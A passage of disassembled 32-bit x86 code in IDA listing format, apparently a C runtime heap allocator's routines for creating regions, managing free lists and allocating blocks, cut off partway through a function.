lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DC8FC
push edi
push dword_4DC904
nop
call near ptr 2820000h
cmp eax, edi
jz short loc_41E567
add dword_4DC8E8, 10h
mov dword_4DC8FC, eax
mov eax, dword_4DC8F8
loc_41E517: ; CODE XREF: sub_41E4D4+11j
mov ecx, dword_4DC8FC
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DC904
lea esi, [ecx+eax*4]
nop
call near ptr 2780000h
cmp eax, edi
mov [esi+10h], eax
jz short loc_41E567
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 2870686h
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41E56B
push dword ptr [esi+10h]
push edi
push dword_4DC904
nop
call near ptr 2770000h
loc_41E567: ; CODE XREF: sub_41E4D4+30j
; sub_41E4D4+67j
xor eax, eax
jmp short loc_41E582
; ---------------------------------------------------------------------------
loc_41E56B: ; CODE XREF: sub_41E4D4+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DC8F8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41E582: ; CODE XREF: sub_41E4D4+95j
pop edi
pop esi
retn
sub_41E4D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41E597: ; CODE XREF: sub_41E585+19j
test eax, eax
jl short loc_41E5A0
shl eax, 1
inc ebx
jmp short loc_41E597
; ---------------------------------------------------------------------------
loc_41E5A0: ; CODE XREF: sub_41E585+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41E5B5: ; CODE XREF: sub_41E585+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41E5B5
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call near ptr 2870686h
nop
test eax, eax
jnz short loc_41E5E8
or eax, 0FFFFFFFFh
jmp loc_41E67B
; ---------------------------------------------------------------------------
loc_41E5E8: ; CODE XREF: sub_41E585+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41E62E
lea eax, [edi+10h]
loc_41E5F5: ; CODE XREF: sub_41E585+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41E5F5
loc_41E62E: ; CODE XREF: sub_41E585+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41E66B
or [eax+4], edi
loc_41E66B: ; CODE XREF: sub_41E585+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41E67B: ; CODE XREF: sub_41E585+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41E585 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41E82E
test bl, 1
jnz loc_41E827
add ebx, ecx
cmp esi, ebx
jg loc_41E827
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41E6F7
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41E6F7: ; CODE XREF: sub_41E680+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41E747
cmp ecx, 20h
jnb short loc_41E723
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E747
; ---------------------------------------------------------------------------
loc_41E723: ; CODE XREF: sub_41E680+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E747: ; CODE XREF: sub_41E680+7Dj
; sub_41E680+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41E815
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41E781
push 3Fh
pop edi
loc_41E781: ; CODE XREF: sub_41E680+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41E803
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E7DA
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7CD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E7CD: ; CODE XREF: sub_41E680+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41E7FF
; ---------------------------------------------------------------------------
loc_41E7DA: ; CODE XREF: sub_41E680+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7F0
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E7F0: ; CODE XREF: sub_41E680+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41E7FF: ; CODE XREF: sub_41E680+158j
shr edx, cl
or [eax], edx
loc_41E803: ; CODE XREF: sub_41E680+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41E818
; ---------------------------------------------------------------------------
loc_41E815: ; CODE XREF: sub_41E680+E5j
mov edx, [ebp+arg_4]
loc_41E818: ; CODE XREF: sub_41E680+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41E96E
; ---------------------------------------------------------------------------
loc_41E827: ; CODE XREF: sub_41E680+52j
; sub_41E680+5Cj
xor eax, eax
jmp loc_41E971
; ---------------------------------------------------------------------------
loc_41E82E: ; CODE XREF: sub_41E680+49j
jge loc_41E96E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41E859
push 3Fh
pop esi
loc_41E859: ; CODE XREF: sub_41E680+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41E8E8
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E872
push 3Fh
pop esi
loc_41E872: ; CODE XREF: sub_41E680+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41E8C1
cmp esi, 20h
jnb short loc_41E89D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E8BE
; ---------------------------------------------------------------------------
loc_41E89D: ; CODE XREF: sub_41E680+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E8BE: ; CODE XREF: sub_41E680+214j
; sub_41E680+21Bj ...
mov ebx, [ebp+arg_4]
loc_41E8C1: ; CODE XREF: sub_41E680+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E8E8
push 3Fh
pop esi
loc_41E8E8: ; CODE XREF: sub_41E680+1DDj
; sub_41E680+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E965
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41E93C
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E92F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41E92F: ; CODE XREF: sub_41E680+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41E961
; ---------------------------------------------------------------------------
loc_41E93C: ; CODE XREF: sub_41E680+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E952
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41E952: ; CODE XREF: sub_41E680+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41E961: ; CODE XREF: sub_41E680+2BAj
shr edx, cl
or [eax], edx
loc_41E965: ; CODE XREF: sub_41E680+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41E96E: ; CODE XREF: sub_41E680+1A2j
; sub_41E680:loc_41E82Ej
push 1
pop eax
loc_41E971: ; CODE XREF: sub_41E680+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41E680 endp
; =============== S U B R O U T I N E =======================================
sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp
cmp dword_43A2E0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41E98A
mov esi, offset off_43A2D0
jmp short loc_41E9A7
; ---------------------------------------------------------------------------
loc_41E98A: ; CODE XREF: sub_41E976+Bj
push 2020h
push 0
push dword_4DC904
call near ptr 2780000h
nop
mov esi, eax
test esi, esi
jz loc_41EAB3
loc_41E9A7: ; CODE XREF: sub_41E976+12j
mov ebp, dword_4271C4
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41EA9C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41EA8E
mov eax, offset off_43A2D0
cmp esi, eax
jnz short loc_41EA06
cmp off_43A2D0, 0
jnz short loc_41E9F6
mov off_43A2D0, eax
loc_41E9F6: ; CODE XREF: sub_41E976+79j
cmp off_43A2D4, 0
jnz short loc_41EA1B
mov off_43A2D4, eax
jmp short loc_41EA1B
; ---------------------------------------------------------------------------
loc_41EA06: ; CODE XREF: sub_41E976+70j
mov [esi], eax
mov eax, off_43A2D4
mov [esi+4], eax
mov off_43A2D4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41EA1B: ; CODE XREF: sub_41E976+87j
; sub_41E976+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41EA3D: ; CODE XREF: sub_41E976+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41EA3D
push ebx
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_41EA66: ; CODE XREF: sub_41E976+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41EA8A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41EA66
; ---------------------------------------------------------------------------
loc_41EA8A: ; CODE XREF: sub_41E976+F7j
mov eax, esi
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA8E: ; CODE XREF: sub_41E976+63j
push 8000h
push 0
push edi
nop
call near ptr 287054Bh
loc_41EA9C: ; CODE XREF: sub_41E976+4Bj
cmp esi, offset off_43A2D0
jz short loc_41EAB3
push esi
push 0
push dword_4DC904
nop
call near ptr 2770000h
loc_41EAB3: ; CODE XREF: sub_41E976+2Bj
; sub_41E976+12Cj
xor eax, eax
loc_41EAB5: ; CODE XREF: sub_41E976+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E976 endp
; =============== S U B R O U T I N E =======================================
sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
nop
call near ptr 287054Bh
cmp off_43C2F0, esi
jnz short loc_41EADF
mov eax, [esi+4]
mov off_43C2F0, eax
loc_41EADF: ; CODE XREF: sub_41EABA+1Bj
cmp esi, offset off_43A2D0
jz short loc_41EB07
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DC904
call near ptr 2770000h
nop
pop esi
retn
; ---------------------------------------------------------------------------
loc_41EB07: ; CODE XREF: sub_41EABA+2Bj
or dword_43A2E0, 0FFFFFFFFh
pop esi
retn
sub_41EABA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43A2D4
push edi
loc_41EB1D: ; CODE XREF: sub_41EB10+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41EBBB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41EB36: ; CODE XREF: sub_41EB10+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41EB77
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
nop
call near ptr 287054Bh
test eax, eax
jz short loc_41EB77
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DB2F4
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41EB6C
cmp eax, edi
jbe short loc_41EB6F
loc_41EB6C: ; CODE XREF: sub_41EB10+56j
mov [esi+0Ch], edi
loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41EB84
loc_41EB77: ; CODE XREF: sub_41EB10+2Cj
; sub_41EB10+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41EB36
loc_41EB84: ; CODE XREF: sub_41EB10+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41EBBB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41EBBB
push 1
lea eax, [ecx+20h]
pop edx
loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EBAC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41EB9B
loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej
cmp edx, 400h
jnz short loc_41EBBB
push ecx
call sub_41EABA
pop ecx
loc_41EBBB: ; CODE XREF: sub_41EB10+11j
; sub_41EB10+7Dj ...
cmp esi, off_43A2D4
jz short loc_41EBCD
cmp [ebp+arg_0], 0
jg loc_41EB1D
loc_41EBCD: ; CODE XREF: sub_41EB10+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap
; sub_41B202+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43A2D0
push esi
mov ecx, edx
loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41EBE8
cmp eax, [ecx+14h]
jb short loc_41EBF0
loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41EC25
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EBD2+14j
test al, 0Fh
jnz short loc_41EC25
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41EC25
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj
; sub_41EBD2+20j ...
xor eax, eax
pop esi
retn
sub_41EBD2 endp
; =============== S U B R O U T I N E =======================================
sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp
; sub_41B202+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41EC6D
inc dword_4DB2F4
cmp dword_4DB2F4, 20h
jnz short locret_41EC6D
push 10h
call sub_41EB10
pop ecx
locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj
; sub_41EC29+3Aj
retn
sub_41EC29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp
; sub_41B513+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43C2F0
push edi
loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41ED27
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41ECE1
loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41ECCA
cmp [edi+4], ebx
jbe short loc_41ECCA
push ebx
push ecx
push eax
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41ECCA: ; CODE XREF: sub_41EC6E+40j
; sub_41EC6E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41ECA7
jmp short loc_41ECE4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EC6E+37j
mov ebx, [ebp+arg_0]
loc_41ECE4: ; CODE XREF: sub_41EC6E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41ED2A
loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41ED16
cmp [edi+4], ebx
jbe short loc_41ED16
push ebx
push eax
push [ebp+var_4]
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov [edi+4], ebx
loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj
; sub_41EC6E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41ECF7
jmp short loc_41ED2A
; ---------------------------------------------------------------------------
loc_41ED27: ; CODE XREF: sub_41EC6E+14j
mov ebx, [ebp+arg_0]
loc_41ED2A: ; CODE XREF: sub_41EC6E+87j
; sub_41EC6E+B7j
mov esi, [esi]
cmp esi, off_43C2F0
jz short loc_41ED49
jmp loc_41EC7C
; ---------------------------------------------------------------------------
loc_41ED39: ; CODE XREF: sub_41EC6E+54j
; sub_41EC6E+A3j
mov off_43C2F0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41EE71
; ---------------------------------------------------------------------------
loc_41ED49: ; CODE XREF: sub_41EC6E+C4j
mov eax, offset off_43A2D0
mov edi, eax
loc_41ED50: ; CODE XREF: sub_41EC6E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41ED5C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41ED68
loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41EE3D
jmp short loc_41ED50
; ---------------------------------------------------------------------------
loc_41ED68: ; CODE XREF: sub_41EC6E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41ED97
loc_41ED86: ; CODE XREF: sub_41EC6E+127j
cmp [ebp+var_4], 10h
jge short loc_41ED97
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41ED86
loc_41ED97: ; CODE XREF: sub_41EC6E+116j
; sub_41EC6E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
nop
call near ptr 2870686h
cmp eax, esi
jnz loc_41EE6F
push 0
push [ebp+var_8]
push esi
call sub_41B590
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41EDFE
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41EDD4
loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej
mov off_43C2F0, edi
lea eax, [edi+2018h]
loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j
cmp ecx, eax
jnb short loc_41EE1A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41EE18
add ecx, 8
jmp short loc_41EE0A
; ---------------------------------------------------------------------------
loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j
cmp ecx, eax
loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j
call sub_41E976
test eax, eax
jz short loc_41EE6F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43C2F0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE6F: ; CODE XREF: sub_41EC6E+143j
; sub_41EC6E+1D6j
xor eax, eax
loc_41EE71: ; CODE XREF: sub_41EC6E+D6j
; sub_41EC6E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41EC6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap
; sub_41EC6E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41EEBB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41EEAA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41EEB3
; ---------------------------------------------------------------------------
loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EEB3: ; CODE XREF: sub_41EE76+32j
lea eax, [edi+8]
jmp loc_41EF89
; ---------------------------------------------------------------------------
loc_41EEBB: ; CODE XREF: sub_41EE76+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41EEC4
mov eax, esi
loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41EF0E
loc_41EECB: ; CODE XREF: sub_41EE76+96j
mov bl, [eax]
test bl, bl
jnz short loc_41EF01
push 1
lea ebx, [eax+1]
pop esi
loc_41EED7: ; CODE XREF: sub_41EE76+68j
cmp byte ptr [ebx], 0
jnz short loc_41EEE0
inc ebx
inc esi
jmp short loc_41EED7
; ---------------------------------------------------------------------------
loc_41EEE0: ; CODE XREF: sub_41EE76+64j
cmp esi, edx
jnb short loc_41EF32
cmp eax, [ebp+var_4]
jnz short loc_41EEEE
mov [ecx+4], esi
jmp short loc_41EEFA
; ---------------------------------------------------------------------------
loc_41EEEE: ; CODE XREF: sub_41EE76+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41EF93
loc_41EEFA: ; CODE XREF: sub_41EE76+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41EF06
; ---------------------------------------------------------------------------
loc_41EF01: ; CODE XREF: sub_41EE76+59j
movzx esi, bl
add eax, esi
loc_41EF06: ; CODE XREF: sub_41EE76+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41EECB
loc_41EF0E: ; CODE XREF: sub_41EE76+53j
lea esi, [ecx+8]
loc_41EF11: ; CODE XREF: sub_41EE76+EBj
; sub_41EE76+F2j
cmp esi, edi
jnb short loc_41EF93
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41EF93
mov al, [esi]
test al, al
jnz short loc_41EF63
push 1
lea ebx, [esi+1]
pop eax
loc_41EF29: ; CODE XREF: sub_41EE76+BAj
cmp byte ptr [ebx], 0
jnz short loc_41EF53
inc ebx
inc eax
jmp short loc_41EF29
; ---------------------------------------------------------------------------
loc_41EF32: ; CODE XREF: sub_41EE76+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF43
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41EF4C
; ---------------------------------------------------------------------------
loc_41EF43: ; CODE XREF: sub_41EE76+C2j
